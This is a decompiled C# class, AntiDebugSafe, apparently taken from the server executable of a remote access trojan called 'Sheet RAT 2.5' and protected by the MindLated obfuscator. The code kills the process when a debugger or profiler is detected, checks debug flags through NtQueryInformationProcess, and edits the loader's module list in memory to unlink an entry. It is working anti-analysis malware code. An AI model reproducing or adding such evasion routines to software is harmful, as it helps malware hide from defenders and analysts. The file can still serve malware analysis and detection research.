// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.AntiDebugSafe
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe

using System;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;

//#nullable disable
namespace MindLated.Protection.Anti.Runtime {

internal static class AntiDebugSafe
{
  [DllImport("ntdll.dll", CharSet = CharSet.Auto)]
  private static extern int NtQueryInformationProcess(
    IntPtr test,
    int test2,
    int[] test3,
    int test4,
    ref int test5);

  private static void Initialize()
  {
    if (Debugger.IsLogging())
      Environment.Exit(0);
    if (Debugger.IsAttached)
      Environment.Exit(0);
    if (Environment.GetEnvironmentVariable("complus_profapi_profilercompatibilitysetting") != null)
      Environment.Exit(0);
    if (string.Compare(Environment.GetEnvironmentVariable("COR_ENABLE_PROFILING"), "1", StringComparison.Ordinal) == 0)
      Environment.Exit(0);
    if (Environment.OSVersion.Platform != PlatformID.Win32NT)
      return;
    int[] test3 = new int[6];
    int test5 = 0;
    IntPtr handle = Process.GetCurrentProcess().Handle;
    if (AntiDebugSafe.NtQueryInformationProcess(handle, 31 /*0x1F*/, test3, 4, ref test5) == 0 && test3[0] != 1)
      Environment.Exit(0);
    if (AntiDebugSafe.NtQueryInformationProcess(handle, 30, test3, 4, ref test5) == 0 && test3[0] != 0)
      Environment.Exit(0);
    if (AntiDebugSafe.NtQueryInformationProcess(handle, 0, test3, 24, ref test5) != 0)
      return;
    IntPtr ptr1 = Marshal.ReadIntPtr(Marshal.ReadIntPtr((IntPtr) test3[1], 12), 12);
    Marshal.WriteInt32(ptr1, 32 /*0x20*/, 0);
    IntPtr num1 = Marshal.ReadIntPtr(ptr1, 0);
    IntPtr ptr2 = num1;
    do
    {
      ptr2 = Marshal.ReadIntPtr(ptr2, 0);
      if (Marshal.ReadInt32(ptr2, 44) == 1572886 && Marshal.ReadInt32(Marshal.ReadIntPtr(ptr2, 48 /*0x30*/), 0) == 7536749)
      {
        IntPtr num2 = Marshal.ReadIntPtr(ptr2, 8);
        IntPtr num3 = Marshal.ReadIntPtr(ptr2, 12);
        Marshal.WriteInt32(num3, 0, (int) num2);
        Marshal.WriteInt32(num2, 4, (int) num3);
      }
    }
    while (!ptr2.Equals((object) num1));
  }
}
}